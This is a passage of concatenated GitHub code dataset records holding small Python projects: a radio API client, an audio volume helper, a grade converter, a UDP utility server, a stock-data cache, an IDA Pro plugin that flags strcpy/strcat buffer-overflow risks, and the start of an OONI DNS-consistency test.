kbps for bitrate field of\n stations in result. (default: 1000000)\n order (str, optional): The result list will be sorted by: name,\n url, homepage, favicon, tags, country, state, language, votes,\n codec, bitrate, lastcheckok, lastchecktime, clicktimestamp,\n clickcount, clicktrend, random\n reverse (bool, optional): Reverse the result list if set to true.\n (default: false)\n offset (int, optional): Starting value of the result list from\n the database. For example, if you want to do paging on the\n server side. (default: 0)\n limit (int, optional): Number of returned datarows (stations)\n starting with offset (default 100000)\n hidebroken (bool, optional): do list/not list broken stations.\n Note: Not documented in the \"Advanced Station Search\".\n\n Returns:\n list: Stations.\n\n Example:\n >>> from pyradios import RadioBrowser\n >>> rb = RadioBrowser()\n >>> rb.search(name='BBC Radio 1', name_exact=True)\n\n See details:\n https://de1.api.radio-browser.info/#Advanced_station_search\n \"\"\"\n endpoint = \"{fmt}/stations/search\".format(fmt=self._fmt)\n return self.client.get(endpoint, **kwargs)\n\n","repo_name":"hxebolax/zRadio","sub_path":"addon/globalPlugins/zRadio/pyradios/radios.py","file_name":"radios.py","file_ext":"py","file_size_in_byte":14214,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"6883719455","text":"from __future__ import annotations\nfrom typing import Optional\n\nimport os\nimport re\nimport logging\n\nfrom .bar_display import BarDisplay\nfrom .execute import execute\n\nlogger = logging.getLogger(__name__)\n\n\nclass PaCtl:\n def __init__(self, sink: int=0, bar_display: Optional[BarDisplay]=None) -> None:\n self._sink = sink\n self._display = bar_display\n self._matcher = re.compile(r\".*?(\\d+)%.*\")\n\n def mute(self) -> None:\n os.system(\"pactl set-sink-mute %d toggle &\" % self._sink)\n if self._display is not None:\n self._display.display(0.)\n\n def volume_adj(self, perc: int) -> None:\n os.system(\"pactl set-sink-volume %d %+d%% &\" % (self._sink, perc))\n if self._display is not None:\n vol = execute(\"pactl list sinks | grep '^[[:space:]]Volume:' | head -n $(( %d + 1 )) | tail -n 1\" % self._sink)\n match = self._matcher.match(vol)\n if match is not None:\n self._display.display(float(match.group(1))/100.)\n\n\n","repo_name":"jbuchermn/newm","sub_path":"newm/helper/pactl.py","file_name":"pactl.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":921,"dataset":"github-code","pt":"53"}
+{"seq_id":"18299872219","text":"import sys\nimport json\nfrom types import SimpleNamespace\n# Given a student's score on a test, return a letter grade\n\ngradeNS = SimpleNamespace(\n\taHigh= 100,\n\taLow= 90,\n\tbHigh= 89,\n\tbLow= 80,\n\tcHigh= 79,\n\tcLow= 70,\n\tdHigh= 69,\n\tdLow= 60,\n\tfHigh= 59,\n\tfLow= 0\n)\n\ndef convertPercentToGrade(val, gradeNS):\n\tif gradeNS.fLow <= val <= gradeNS.fHigh:\n\t\treturn 'F'\n\telif gradeNS.dLow <= val <= gradeNS.dHigh:\n\t\treturn 'D'\n\telif gradeNS.cLow <= val <= gradeNS.cHigh:\n\t\treturn 'C'\n\telif gradeNS.bLow <= val <= gradeNS.bHigh:\n\t\treturn 'B'\n\telif gradeNS.aLow <= val <= gradeNS.aHigh:\n\t\treturn 'A'\n\telse:\n\t\treturn 'ERROR - Out of bounds'\n\ndef gradeToLetter(val, total, gradeNS):\n\tif val > 100 and (not bool(total)):\n\t\tprint(UserWarning('ERROR - Values over 100 need a \"total\" arg to divide by'))\n\telif not total:\n\t\tprint(f\"Grade: {convertPercentToGrade(val, gradeNS)}\")\n\telif total:\n\t\tprint(f\"Grade: {convertPercentToGrade(val / total * 100, gradeNS)} - {val / total * 100}\")\n\telse:\n\t\tprint('invalid value')\n\ndef handleInput():\n\t'''\n\tTakes up to 3 arguments\n\t\tval: value as percentage correct\n\t\ttotal: changes functionality to # correct out of 'total'\n\t\tgradeNS: user provided JSON object to change the default scoring\n\t\t\t- keys must use double quotes\n\t\t\t- e.g. ... 10 10 '{\"aHigh\": 50, \"aLow\": 20, ... }'\n\t'''\n\ttry:\n\t\tuserBaseVal = int(sys.argv[1]) if len(sys.argv) > 1 else int(input(\"What's the grade / value? \"))\n\texcept Exception as e:\n\t\tprint(e)\n\t\treturn\n\n\ttry:\n\t\ttotalValInput = sys.argv[2] if len(sys.argv) > 2 else input(\"Opt: Total points? \")\n\t\tuserTotalVal = int(totalValInput) if bool(totalValInput) else False\n\texcept Exception as e:\n\t\tprint(e)\n\t\treturn\n\n\tuserGradeNS = sys.argv[3] if len(sys.argv) > 3 else input(\"Opt: Custom grading?\\n\")\n\tif len(userGradeNS):\n\t\ttry:\n\t\t\tparseGradeNS = json.loads(\n\t\t\t\tuserGradeNS,\n\t\t\t\tobject_hook=lambda d: SimpleNamespace(**d)\n\t\t\t)\n\t\texcept json.decoder.JSONDecodeError as e:\n\t\t\tprint(\"Does the provided object start with quotes? eg: '{...}' \")\n\t\t\tprint(f\"{type(e).__name__} at line {e.__traceback__.tb_lineno} of {__file__}: {e}\")\n\t\t\treturn\n\n\tgradeToLetter(\n\t\tuserBaseVal,\n\t\tuserTotalVal,\n\t\tparseGradeNS if bool(userGradeNS) else gradeNS\n\t)\n\nhandleInput()\n\n'''\npython grade-to-letter.py 10 100 '{\"aHigh\": 100,\"aLow\": 90,\"bHigh\": 89,\"bLow\": 80,\"cHigh\": 79,\"cLow\": 70,\"dHigh\": 69,\"dLow\": 60,\"fHigh\": 59,\"fLow\": 0}'\n'''","repo_name":"JoshMLeslie/learning-python","sub_path":"grade-to-letter.py","file_name":"grade-to-letter.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18099515677","text":"from search import *\nimport os, sys\nfrom acrcloud.recognizer import ACRCloudRecognizer\nimport json\nimport eye\n\nif __name__ == '__main__':\n config = {\n 'host':'XXX',\n 'access_key':'XXX', \n 'access_secret':'XXX',\n 'timeout':10 # seconds\n }\n\n re = ACRCloudRecognizer(config)\n\n\n result= re.recognize_by_file(sys.argv[1], 0)\n audiof = eyed3.load(sys.argv[1])\n \n result1 = json.loads(result)\n\n status = result1['status']\t\n\n music = (result1['metadata'])['music']\n album = ((music[0])['album'])['name']\n title = (music[0])['title']\n artists = (((music[0])['artists'])[0])['name']\n \n get_image(title)\n try:\n \timage = open(title + \".jpg\", \"rb\").read()\n\n except IOError:\n \timage = open(title + \".png\", \"rb\").read()\n \n audiof.tag.images.set(3, image, \"image/jpeg\")\n audiof.tag.artist = artists\n audiof.tag.album = album\n audiof.tag.title = title\n audiof.tag.save()\n \n","repo_name":"akhilabrahamt/mp3-metadata-edit","sub_path":"medit.py","file_name":"medit.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3591802304","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n#=============================================================================\n# FileName:\n# Desc:\n# Author: 白开水\n# Email: vekergu@163.com\n# HomePage: https://github.com/vekergu\n# Version: 0.0.1\n# LastChange: \n# History:\n#=============================================================================\nfrom __future__ import print_function\n'''\n题目:时间函数举例4,一个猜数游戏,判断一个人反应快慢。\n'''\n\nimport time\nimport random\n\nplay_it = raw_input('do you want to play it.(\\'y\\' or \\'n\\')')\nwhile play_it == \"y\":\n c = raw_input('input a character:\\n')\n i = random.randint(0,2**32) % 100\n print('please input number you guess:\\n')\n start = time.clock()\n guess = int(raw_input('input you gess:\\n'))\n while guess != i:\n if guess > i:\n print(\"大了\")\n guess = int(raw_input('input your guess:\\n'))\n else:\n print('小了')\n guess = int(raw_input('input your guess:\\n'))\n end = time.clock()\n b = time.time()\n\n var = (end - start) / 18.2\n print(end - start)\n\n if var < 15:\n print('you are very clever!')\n elif var < 25:\n print('you are normal!')\n else:\n print('you are stupid!')\n\n print('Congradulations')\n print('The number you guess is %d' %i)\n play_it = raw_input('do you want to play it.')","repo_name":"vekergu/ops_doc","sub_path":"learn_python/python练习100题/094-时间函数.py","file_name":"094-时间函数.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34091006165","text":"from util.DateUtil import DateUtil\nfrom db.SqlExecutor import SqlExecutor\n\n\nclass HAVCache:\n def __init__(self):\n self.db = SqlExecutor(db_name='gpp-long-term.db')\n\n # check if we already have cached data for the provided date\n def has_data_for_date(self, ticker, date, no_update_if_today=False):\n found_date = self.get_last_retrieved(ticker)\n # if no found date, then it isn't in the cache at all\n if found_date is None:\n return False\n\n # found_date is saturday or sunday and is today, don't update cache\n if DateUtil.dates_match(date, found_date) and DateUtil.is_weekend(date) and DateUtil.is_today(date):\n return True\n\n # if the date is today and it isn't the weekend, we need to update our cache always\n if DateUtil.is_today(date) and not no_update_if_today:\n return False\n\n # if the date in the metadata is greater than the requested date\n # we already have data for this date, otherwise we need to go get it\n return found_date > date or (no_update_if_today and DateUtil.is_today(date))\n\n def store_result_meta_data(self, ticker, last_retrieved):\n found = self.get_last_retrieved(ticker)\n\n # if there's already a metadata record, just update it\n if found is not None:\n sql = 'UPDATE `HISTORIC_META_DATA` SET LAST_RETRIEVED=? WHERE TICKER=?'\n self.db.exec_insert(sql, (last_retrieved, ticker))\n else:\n sql = 'INSERT INTO `HISTORIC_META_DATA` (TICKER, LAST_RETRIEVED) VALUES (?, ?)'\n self.db.exec_insert(sql, (ticker, last_retrieved))\n\n def store_result_data(self, ticker, date, payload):\n sql = 'INSERT INTO `HISTORIC_DATA` (TICKER, DATE, OPEN, HIGH, LOW, CLOSE, VOLUME) ' \\\n 'VALUES(?, ?, ?, ?, ?, ?, ?)'\n\n # check to make sure we're not overwriting something\n data = self.get_daily_quote(ticker, date)\n if data is not None:\n self.db.exec_insert('DELETE FROM `HISTORIC_DATA` WHERE `TICKER`=? AND `DATE`=?', (ticker, date))\n\n to_send = (ticker, date)\n for item in payload:\n to_send = to_send + (item,)\n\n self.db.exec_insert(sql, to_send)\n\n # Checks whether specific date is actually in the cache\n def check_cache(self, ticker, date):\n # don't try the DB before we know if the data will be there\n if not self.has_data_for_date(ticker, date):\n return None\n\n result = self.get_daily_quote(ticker, date)\n if result is None:\n return None\n\n return {'ticker': result[0], 'date': result[1], 'open': result[2],\n 'high': result[3], 'low': result[4], 'close': result[5], 'volume': result[6]}\n\n def get_last_retrieved(self, ticker):\n sql = 'SELECT * FROM `HISTORIC_META_DATA` WHERE TICKER=?'\n result = self.db.exec_select(sql, (ticker,)).fetchone()\n if result is None:\n return None\n\n found_timestamp = result[1]\n return found_timestamp\n\n def get_all_data(self, ticker):\n sql = 'SELECT * FROM `HISTORIC_DATA` WHERE TICKER=?'\n result = self.db.exec_select(sql, (ticker,)).fetchall()\n return result\n\n def get_rolling_window_quotes(self, ticker, end_date, num_desired):\n if not self.has_data_for_date(ticker, end_date, no_update_if_today=True):\n return None\n\n sql = 'SELECT * FROM `HISTORIC_DATA` WHERE TICKER=? AND DATE <= ? ORDER BY DATE DESC LIMIT ?'\n result = self.db.exec_select(sql, (ticker, end_date, num_desired)).fetchall()\n return result\n\n def get_daily_quote(self, ticker, date):\n sql = 'SELECT * FROM `HISTORIC_DATA` WHERE TICKER=? AND DATE=?'\n result = self.db.exec_select(sql, (ticker, date)).fetchone()\n return result\n\n def flush(self, ticker):\n sql = 'DELETE FROM `HISTORIC_DATA` WHERE TICKER=?'\n self.db.exec_insert(sql, (ticker,))\n","repo_name":"michaelalbinson/glowing-pancake-praw","sub_path":"api/alpha_vantage/HAVCache.py","file_name":"HAVCache.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38388983247","text":"def makeCodebook():\n decbook = {'5':'a', '2':'b', '#':'d', '8':'e', '1':'f', '3':'g', '4':'h', '6':'i', '0':'l', '9':'m','*':'n', '%':'o', '=':'p', '(':'r', ')':'s', ';':'t', '?':'u', '@':'v', ':':'y', '7':' '}\n encbook = {}\n \n for x in decbook : \n encbook[decbook[x]] = x\n\n return decbook, encbook\n\n# decbook = {'5':'a', '2':'b', '#':'d', '8':'e', '1':'f', '3':'g', '4':'h', '6':'i', '0':'l', '9':'m','*':'n', '%':'o', '=':'p', '(':'r', ')':'s', ';':'t', '?':'u', '@':'v', ':':'y', '7':' '}\ndef decode(inp, dec):\n \n for x in inp :\n # print(x)\n if x in dec :\n inp = inp.replace(x, dec[x])\n # print(inp)\n return inp\n\ndef encode(inp, enc):\n for x in inp :\n # print(x)\n if x in enc :\n inp = inp.replace(x, enc[x])\n # print(inp)\n return inp\n\n# def encode(input):\n# output = input\n# return output\n# inp = \"2222222222\"\n# for x in inp :\n# print(if x in decbook)\n\nif __name__ == \"__main__\":\n plaintext =\"this is my life hello hello world\" \n dec, enc =makeCodebook()\n enctext = encode(plaintext, enc)\n print(enctext)\n dectext = decode(enctext, dec)\n print(dectext)\n","repo_name":"ace2267/pythonExam","sub_path":"secureCode/1_encdecBookUtil.py","file_name":"1_encdecBookUtil.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31069896813","text":"import socket\nimport random\nimport string\nfrom time import localtime, strftime\n\n# METODAT\n\n\"\"\" Metoda qe kthen IP adresen e klientit perkates.\n Kjo metode, ashtu si edhe metoda PORTI si parameter e marrin adresen e\n klientit e cila i permban dy vlera (HOSTin dhe PORTin).\n\"\"\"\n\n\ndef IPADDRESS(address):\n return address[0]\n\n\ndef PORTI(address):\n return address[1]\n\n\ndef COUNT(text):\n text = text.lower()\n nrz = 0\n nrb = 0\n for x in text:\n if x == 'a' or x == 'e' or x == 'i' or x == 'u' or x == 'o':\n nrz += 1\n elif x >= 'a' and x <= 'z':\n nrb += 1\n final = \"Teksti i pranuar permban \" + str(nrz) + \" zanore dhe \" + str(nrb) + \" bashketingellore.\"\n return final\n\n\ndef REVERSE(text):\n backw = \"\"\n gjatesia = len(text)\n for x in range(gjatesia):\n backw += text[gjatesia - 1]\n gjatesia -= 1\n return backw.strip() # e kthen tekstin reverse me hapesirat e fillimit dhe te fundit te larguara\n\n\n# Kërkon nje fjali dhe tregon a eshte fjalia palindrome (True) apo jo (False)\n\ndef PALINDROME(text):\n backw = \"\"\n gjatesia = len(text)\n for x in range(gjatesia):\n backw += text[gjatesia - 1]\n gjatesia -= 1\n if text == backw:\n return str(True)\n else:\n return str(False)\n\n\ndef TIME():\n return strftime(\"%Y-%m-%d %H:%M:%S PM\", localtime())\n\n\ndef GAME():\n lista = []\n\n while len(lista) != 5:\n y = random.randint(1, 36)\n if y not in lista:\n lista.append(y)\n\n listToStr = ', '.join([str(elem) for elem in lista])\n return listToStr\n\n\ndef CONVERT(number, option):\n if option == \"CMTOFEET\":\n return str(round((number * 0.0328084), 2)) + \"ft\"\n elif option == \"FEETTOCM\":\n return str(round((number / 0.0328084), 2)) + \"cm\"\n elif option == \"KMTOMILES\":\n return str(round((number * 0.621371), 2)) + \"miles\"\n elif option == \"MILESTOKM\":\n return str(round((number / 0.621371), 2)) + \"km\"\n else:\n return \"Invalid option choosen.\"\n\n\ndef GCF(x, y):\n while y != 0:\n (x, y) = (y, x % y)\n return str(x)\n\n\ndef CALCULATE(x, op,\n *n): # *n nenkupton qe parametrat pas x dhe op jane opsional. Kjo sepse metoda CALCULATE ka operacione ku nuk duhet argumenti i trete\n x = float(x)\n if len(n) > 1:\n return (\"CALCULATE pranon vetem tre argumente.\")\n pass\n y = 0\n for nr in n:\n y = float(nr)\n if op == \"SQRT\":\n return round((x ** (1 / 2)), 2)\n elif op == \"%\":\n return (x * (0.01) * y)\n elif op == \"+\":\n return x + y\n elif op == \"-\":\n return x - y\n elif op == \"*\":\n return x * y\n elif op == \"/\":\n return x / y\n elif op == \"^\":\n return x ** y\n\n\ndef password(gjatesia):\n gjatesia = int(gjatesia)\n chars = string.ascii_letters + string.digits + string.punctuation\n lista = []\n for x in range(gjatesia):\n lista.append(random.choice(chars))\n return ''.join(lista)\n\n\n# ----------------------------------------------------------------------------------------\n\n\n# SOCKET\n\ntry:\n HOST = 'localhost'\n PORT = 13000\n UDPserver = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n print(\"Socket is being created...\")\nexcept socket.error as err:\n print(\"Error while creating socket\", err)\n\n\ndef socketBinding():\n try:\n global HOST\n global PORT\n global UDPserver\n UDPserver.bind((HOST, PORT))\n print(\"\\nServeri eshte startuar ne localhost me portin: \" + str(PORT))\n print(\"Serveri eshte duke pritur per ndonje kerkese\\n\"\n \"---------------------------------------------\")\n except socket.error as err:\n print(\"Bind failed. Error: \", err)\n print(\"\\nKontrolloni IP adresen dhe PORTIN qe e keni dhene.\\n\")\n HOST = input(\"Jepni IP adresen perseri: \")\n try:\n PORT = int(input(\"Jepni PORTin perseri: \"))\n except (ValueError, OverflowError):\n PORT = int(input(\"Ju lutem sigurohuni qe PORT te jete nje numer (1024 - 65535): \"))\n socketBinding()\n\n\nsocketBinding()\n\nwhile True:\n try:\n dataRecieved, address = UDPserver.recvfrom(128)\n data = dataRecieved.decode()\n data = data.upper()\n print(\"\\nKerkesa nga klienti me IP: '\" + str(address[0]) + \"', dhe Port: \" + str(address[1]) + \"\\n\" + data)\n\n args = data.split()\n gjatesia = len(args)\n kerkesa = args[0]\n\n if kerkesa == \"TEST\":\n continue\n elif kerkesa == \"IPADDRESS\":\n pergjigjja = \"IP Adresa e klientit eshte: \" + str(IPADDRESS(address))\n UDPserver.sendto(pergjigjja.encode(), address)\n elif kerkesa == \"PORT\":\n pergjigjja = \"Klienti eshte duke perdorur portin: \" + str(PORTI(address))\n UDPserver.sendto(pergjigjja.encode(), address)\n elif kerkesa == \"TIME\":\n UDPserver.sendto(str(TIME()).encode(), address)\n elif kerkesa == \"GAME\":\n UDPserver.sendto(GAME().encode(), address)\n elif kerkesa == \"EXIT\":\n print(\"Lidhja me klientin eshte shkeputur.\")\n continue\n elif kerkesa == \"COUNT\":\n text = data[len(kerkesa):]\n UDPserver.sendto(COUNT(text).encode(), address)\n elif kerkesa == \"REVERSE\":\n text = data[len(kerkesa):]\n UDPserver.sendto(REVERSE(text).encode(), address)\n elif kerkesa == \"PALINDROME\":\n text = args[1]\n UDPserver.sendto(PALINDROME(text).encode(), address)\n elif kerkesa == \"CONVERT\":\n number = float(args[1])\n option = args[2]\n UDPserver.sendto(CONVERT(number, option).encode(), address)\n elif kerkesa == \"GCF\":\n x = (int)(args[1])\n y = (int)(args[2])\n UDPserver.sendto(GCF(x, y).encode(), address)\n elif kerkesa == \"CALCULATE\":\n x = args[1]\n op = args[2]\n if gjatesia > 3: # kjo eshte bere per shkak se sqrt kerkon vetem nje numer dhe operatorin\n y = args[3]\n UDPserver.sendto(str(CALCULATE(x, op, y)).encode(), address)\n elif gjatesia == 3:\n UDPserver.sendto(str(CALCULATE(x, op)).encode(), address)\n elif kerkesa == \"PASSWORD\":\n gjatesia = args[1]\n UDPserver.sendto(str(password(gjatesia)).encode(), address)\n except (ConnectionError, ConnectionRefusedError, ConnectionAbortedError, ConnectionResetError) as err:\n print(\"Server side error... \", err)\n","repo_name":"ylber-gashi/Socket-Programming-with-Python","sub_path":"FIEK UDP/FIEK_UDP_Server.py","file_name":"FIEK_UDP_Server.py","file_ext":"py","file_size_in_byte":6560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"30341598147","text":"import unittest\n\nfrom pandas import DataFrame\n\nfrom materialscoord.plot import plot_benchmark_scores\n\n\nclass PlotTest(unittest.TestCase):\n \"\"\"Test plotting functions.\"\"\"\n\n def test_plot(self):\n \"\"\"Simple test to check the plot function doesn't error.\"\"\"\n data = {\n \"EconNN\": {\"test_structure\": 2.0, \"Total\": 2.0},\n \"MinimumVIRENN\": {\"test_structure\": 2.0, \"Total\": 2.0},\n }\n scores = DataFrame(data=data)\n plt = plot_benchmark_scores(scores)\n self.assertNotEqual(plt, None)\n","repo_name":"hackingmaterials/materials-coord","sub_path":"materialscoord/tests/test_plot.py","file_name":"test_plot.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"53"}
+{"seq_id":"73216241449","text":"'''从staple和drinks中各选一个数,和不超过x,共有多少选法 (mod 1000000007)'''\nfrom typing import List\nclass Solution:\n def breakfastNumber(self, staple: List[int], drinks: List[int], x: int) -> int:\n staple.sort()\n drinks.sort()\n ns, nd = len(staple), len(drinks)\n ks, kd = 0, nd - 1\n res = 0\n while ks < ns and kd >= 0 :\n while kd >=0 and staple[ks] + drinks[kd] > x :\n kd -= 1\n res = (res + (kd + 1)) % 1000000007\n ks += 1\n return res\n\n\nstaple = [2,1,1]\ndrinks = [9,8,5,1]\nx = 9\nprint(Solution().breakfastNumber(staple, drinks, x))\n\n","repo_name":"pwl607/LeetCodeSolutions","sub_path":"LCP 18. 早餐组合.py","file_name":"LCP 18. 早餐组合.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20017213950","text":"from idaapi import *\nfrom idc import *\nfrom idautils import *\n\n\n# 动态获取cpu位数\ndef get_arch_dynamic():\n idainfo = get_inf_structure()\n if idainfo.is_64bit():\n return 64\n elif idainfo.is_32bit():\n return 32\n else:\n return 0\n\n# 获取函数的可引用地址\n\n\ndef GetFuncAddr(func):\n addr = get_name_ea_simple(func)\n if addr == BADADDR:\n return addr\n segm = get_segm_name(addr)\n if segm == \"extern\":\n # extern地址交叉引用地址属于.got.plt或.got\n addr = get_first_dref_to(addr)\n if addr != BADADDR:\n segm = get_segm_name(addr)\n if segm not in [\".got.plt\", \".got\"]:\n return BADADDR\n # got表的交叉引用地址在plt段\n addr = get_first_dref_to(addr)\n if addr != BADADDR:\n segm = get_segm_name(addr)\n if segm != \".plt\":\n return BADADDR\n elif segm != \".text\":\n addr = BADADDR\n return addr\n\n# 判断栈的大小是否足够大\n\n\ndef frame_size(func):\n # 可能出现栈溢出的变量大小,最小阈值\n minsize = 16\n # 遍历所有函数\n flags = get_func_attr(func, FUNCATTR_FLAGS)\n if not (flags & FUNC_FRAME):\n return -1\n prev_count = -1\n frame_counter = 0\n prev_var = None\n stack_frame = get_func_attr(func, FUNCATTR_FRAME)\n if stack_frame == -1:\n return -1\n # 获取栈的大小\n frame_size = get_struc_size(stack_frame)\n print(\"[*] function address : %s, frame_size: %d\" %\n (hex(func), frame_size))\n if stack_frame < minsize:\n return -1\n # 遍历每个变量,将足够大的变量打印出来\n flag = 0\n while frame_counter < frame_size:\n stack_var = get_member_name(stack_frame, frame_counter)\n if stack_var is not None:\n if prev_count != -1:\n member_size = frame_counter - prev_count\n if member_size >= minsize:\n print(\"[*] function name : %s -> stack variable: %s (%d bytes)\" %\n (get_func_name(func), prev_var, member_size))\n flag = 1\n prev_count = frame_counter\n prev_var = stack_var\n frame_counter += get_member_size(stack_frame, frame_counter)\n else:\n frame_counter = frame_counter + 1\n if flag == 1:\n return 1\n return -1\n\n\ndef get_arg(addr, arg_num, bits):\n # 64位传参寄存器\n if(\"ELF\" in get_file_type_name()):\n arg_list_x64 = [\"rdi\", \"rsi\", \"rdx\", \"rcx\", \"r8\", \"r9\"]\n arg_list_x64_2 = [\"edi\", \"esi\", \"edx\", \"ecx\", \"r8\", \"r9\"]\n elif(\"PE\" in get_file_type_name()):\n arg_list_x64 = [\"rcx\", \"rdx\", \"r8\", \"r9\"]\n arg_list_x64_2 = [\"ecx\", \"edx\", \"r8\", \"r9\"]\n\n func_start = get_func_attr(addr, FUNCATTR_START)\n arg_count = -1\n while True:\n # 向前遍历指令\n addr = prev_head(addr)\n # 获取指令助记符\n mnem = print_insn_mnem(addr)\n if mnem in (\"ret\", \"retn\", \"jmp\", \"b\") or addr < func_start:\n return -1\n # 获取函数指定参数\n if bits == 32:\n if mnem == \"push\":\n arg_count += 1\n if arg_count == arg_num:\n return print_operand(addr, 0)\n elif mnem in [\"mov\", \"lea\"]:\n if \"[esp]\" in print_operand(addr, 0):\n arg_count += 1\n if arg_count == arg_num:\n return print_operand(addr, 1)\n elif bits == 64:\n if mnem in [\"mov\", \"lea\"]:\n if print_operand(addr, 0) in [arg_list_x64[arg_num], arg_list_x64_2[arg_num]]:\n return print_operand(addr, 1)\n\n\n# 判断参数是否是栈变量\ndef is_stack_buffer(addr, idx):\n inst = DecodeInstruction(addr)\n ret = get_stkvar(inst, inst[idx], inst[idx].addr)\n return ret\n\n# 检测内联strcpy和strcat\n\n\ndef inline_strcpy(bits):\n ea = 0\n while ea != BADADDR:\n addr = find_text(ea+2, SEARCH_DOWN | SEARCH_NEXT, 0, 0, \"rep movsd\")\n ea = addr\n # rep movsd紧接着movesb\n if \"movesb\" in GetDisasm(addr+7):\n opnd = \"edi\"\n if bits == 64:\n opnd = \"rdi\"\n func_start = get_func_attr(_addr, FUNCATTR_START)\n if frame_size(func_start) < 0:\n continue\n while True:\n _addr = prev_head(_addr)\n mnem = print_insn_mnem(_addr)\n operand = print_operand(_addr, 0)\n if mnem in (\"ret\", \"retn\", \"jmp\", \"b\") or _addr < func_start:\n break\n elif mnem == \"lea\" and operand == opnd:\n if is_stack_buffer(_addr, 1):\n print(\"[!] stack buffer strcpy found at \", hex(addr))\n break\n else:\n break\n elif mnem == \"mov\" and operand == opnd:\n op_type = get_operand_type(_addr, 1)\n if op_type == o_reg:\n opnd = print_operand(_addr, 1)\n addr = _addr\n else:\n break\n\n\n# 检测缓冲区溢出主函数\ndef check_stack(bits):\n if bits not in [32, 64]:\n print(\"unknown bits\")\n return\n # 缓冲区溢出危险函数\n danger_funcs = {\n \"strcpy\": 0,\n \"strcat\": 0\n }\n func_no_count = 0\n for func, arg_num in danger_funcs.items():\n addr = GetFuncAddr(func)\n if addr == BADADDR:\n func_no_count += 1\n if func_no_count == len(danger_funcs):\n print(\n \"[*] This file does not call any known buffer overflow hazard functions!\")\n continue\n print(\"[*] %s Referenceable address %s\" % (func, hex(addr)))\n xrefs = CodeRefsTo(addr, 0)\n for ref in xrefs:\n print(\"[+]\", hex(ref), GetDisasm(ref))\n func_start = get_func_attr(ref, FUNCATTR_START)\n if frame_size(func_start) < 0:\n continue\n opnd = get_arg(ref, arg_num, bits)\n if opnd == -1:\n continue\n addr = ref\n while True:\n addr = prev_head(addr)\n mnem = print_insn_mnem(addr)\n operand = print_operand(addr, 0)\n if mnem in (\"ret\", \"retn\", \"jmp\", \"b\") or addr < func_start:\n break\n elif mnem == \"lea\":\n if (operand == opnd or (operand[1:] == opnd[1:] and operand[0] in ['r', 'e'] and opnd[0] in ['r', 'e'])):\n if is_stack_buffer(addr, 1):\n print(\"[!] stack buffer strcpy found at \", hex(addr))\n break\n elif mnem == \"mov\":\n if (operand == opnd or (operand[1:] == opnd[1:] and operand[0] in ['r', 'e'] and opnd[0] in ['r', 'e'])):\n op_type = get_operand_type(addr, 1)\n if op_type == o_reg:\n opnd = print_operand(addr, 1)\n else:\n break\n\n\nclass buffer_overflows(plugin_t):\n flags = PLUGIN_UNL\n comment = \"\"\n help = \"This plugin can check for buffer overflow dangerous functions.\"\n wanted_name = \"Buffer Overflow Functions\"\n wanted_hotkey = \"\"\n\n def init(self):\n return PLUGIN_OK\n\n def run(self, arg):\n print(\"===================================================================\")\n check_stack(get_arch_dynamic())\n\n def term(self):\n pass\n\n\ndef PLUGIN_ENTRY():\n return buffer_overflows()\n","repo_name":"hqz66/IDA_Vulnerability_Detection","sub_path":"buffer_overflows.py","file_name":"buffer_overflows.py","file_ext":"py","file_size_in_byte":7742,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"17544490737","text":"import setuptools\n\nwith open('README.md') as fl:\n l_desc = fl.read()\n\nsetuptools.setup(\n name=\"pyNetSocket\",\n version=\"1.1.5\",\n author=\"AdityaIyer2k7\",\n author_email=\"adityaiyer2007@gmail.com\",\n description=\"A simple networking library for python\",\n long_description=l_desc,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/DrSparky2k7/PyNetSocket\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n keywords=[\n 'networking',\n 'sockets',\n 'simple networking',\n 'simple sockets',\n 'pyNetSockets',\n 'pyNetSocket'\n ],\n python_requires='>=3.6'\n)\n","repo_name":"AdityaIyer2k7/pyNetSocket","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"7577408525","text":"# -*- encoding: utf-8 -*-\n#\n# dnsconsistency\n# **************\n#\n# The test reports censorship if the cardinality of the intersection of\n# the query result set from the control server and the query result set\n# from the experimental server is zero, which is to say, if the two sets\n# have no matching results whatsoever.\n#\n# NOTE: This test frequently results in false positives due to GeoIP-based\n# load balancing on major global sites such as google, facebook, and\n# youtube, etc.\n#\n# :authors: Arturo Filastò, Isis Lovecruft\n# :licence: see LICENSE\n\n\nfrom twisted.python import usage\nfrom twisted.internet import defer\n\nfrom ooni.templates import dnst\n\nfrom ooni.utils import log\n\n\nclass UsageOptions(usage.Options):\n optParameters = [['backend', 'b', None,\n 'The OONI backend that runs the DNS resolver.'],\n ['testresolvers', 'T', None,\n 'File containing list of DNS resolvers to test against.'],\n ['testresolver', 't', None,\n 'Specify a single test resolver to use for testing.']\n ]\n\n\nclass DNSConsistencyTest(dnst.DNSTest):\n\n name = \"DNS Consistency\"\n description = \"Checks to see if the DNS responses from a \"\\\n 